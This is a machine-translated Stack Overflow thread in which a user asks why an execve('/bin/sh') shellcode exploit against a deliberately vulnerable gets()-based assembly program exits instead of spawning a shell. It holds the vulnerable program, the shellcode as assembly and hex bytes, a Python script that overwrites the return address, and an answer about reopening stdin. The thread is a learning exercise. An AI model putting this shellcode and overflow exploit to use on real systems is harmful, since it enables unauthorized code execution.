Shellcode для простого переполнения стека: Использованная программа с оболочкой завершается непосредственно после execve (“/bin/sh”)

Я играл вокруг с переполнением буфера на Linux (amd64) и пытался использовать простую программу, но он перестал работать. Я отключил средства защиты (рандомизация расположения адресного пространства с sysctl-w ядро randomize_va_space=0, и nx укусил в BIOS). Это переходит к стеку и выполняет shellcode, но это не запускает оболочку. execve syscall успешно выполняется, но впоследствии он только завершается. Какая-либо идея что случилось? Выполнение shellcode автономного работает просто великолепно.

Вопрос о премии: Почему я должен установить, потягиваются для обнуления прежде, чем назвать printf? (См. комментарий в коде),

Уязвимый файл buffer.s:

.data
.fmtsp:
.string "Stackpointer %p\n"
.fmtjump:
.string "Jump to %p\n"
.text
.global main
main:
    push %rbp
    mov %rsp, %rbp

    sub $120,  %rsp

    # calling printf without setting rax
    # to zero results in a segfault. why?
    xor %rax, %rax 
    mov %rsp, %rsi
    mov $.fmtsp, %rdi
    call printf

    mov %rsp, %rdi
    call gets

    xor %rax, %rax
    mov $.fmtjump, %rdi
    mov 8(%rbp), %rsi
    call printf

    xor %rax, %rax
    leave
    ret

shellcode.s

.text
.global main
main:
    mov $0x68732f6e69622fff, %rbx
    shr $0x8, %rbx
    push %rbx
    mov %rsp, %rdi
    xor %rsi, %rsi
    xor %rdx, %rdx
    xor %rax, %rax
    add $0x3b, %rax
    syscall

exploit.py

shellcode = "\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x48\x83\xc0\x3b\x0f\x05"
stackpointer = "\x7f\xff\xff\xff\xe3\x28"
output = shellcode
output += 'a' * (120 - len(shellcode)) # fill buffer
output += 'b' * 8 # override stored base pointer
output += ''.join(reversed(stackpointer))
print output

Скомпилированный с:

$ gcc -o buffer buffer.s
$ gcc -o shellcode shellcode.s

Запущенный с:

$ python exploit.py | ./buffer
Stackpointer 0x7fffffffe328
Jump to 0x7fffffffe328

Отладка с gdb:

$ python exploit.py > exploit.txt (Note: corrected stackpointer address in exploit.py for gdb)
$ gdb buffer
(gdb) run < exploit.txt
Starting program: /home/henning/bo/buffer < exploit.txt
Stackpointer 0x7fffffffe308
Jump to 0x7fffffffe308
process 4185 is executing new program: /bin/dash

Program exited normally.
18
задан Ethan Heilman 20 March 2012 в 20:22
поделиться

1 ответ

У меня сейчас почти такая же проблема с Ubuntu 9.10 на виртуальной машине. Отключены все измерения безопасности ОС, и простые эксплойты, такие как «выйти из программы и установить код выхода на 42», работают, но при попытке открыть оболочку программа просто завершает работу. Вывод gdb идентичен:

(gdb) run < exploit.0xbffff3b8 
Starting program: /home/seminar/ubung/target/client < exploit.0xbffff3b8

Enter password: Sorry. Wrong password.
Executing new program: /bin/bash

Program exited normally.
(gdb)

Дело в том, что мне нужно, чтобы он работал прибл. 16 часов на презентацию :-D


Обновление: Я нашел это интересное исследование: www.shell-storm.org/papers/files/539.pdf

На странице 16 написано: «Если мы попытаемся запустить оболочку, она немедленно завершится в этой конфигурации»

В других примерах, которые не используют get (), они очень хорошо порождают оболочку. К сожалению, они не намекают, ПОЧЕМУ это не работает.: (


Следующее обновление: Похоже, это связано с stdin. Оболочка не может правильно использовать ту, которую получает от исходного процесса. Я пробовал использовать минимальную оболочку, я нашел исходный код для (evilsh). Он разбился в точке, где пытался прочитать ввод. Я предполагаю, что bash / dash проверяет это и просто молча завершает работу, когда что-то не так с stdin.


Хорошо, пожалуйста, не убивайте меня за этот разговор здесь с самим собой, но ...

Я нашел решение!

По какой-то причине необходимо повторно открыть входы. Я нашел здесь рабочий шелл-код:

http://www.milw0rm.com/shellcode/2040

Я не вижу жестких подсказок, но я могу запускать программы и т.д., используя открывающуюся оболочку.

14
ответ дан 30 November 2019 в 09:06
поделиться
Другие вопросы по тегам:

Похожие вопросы: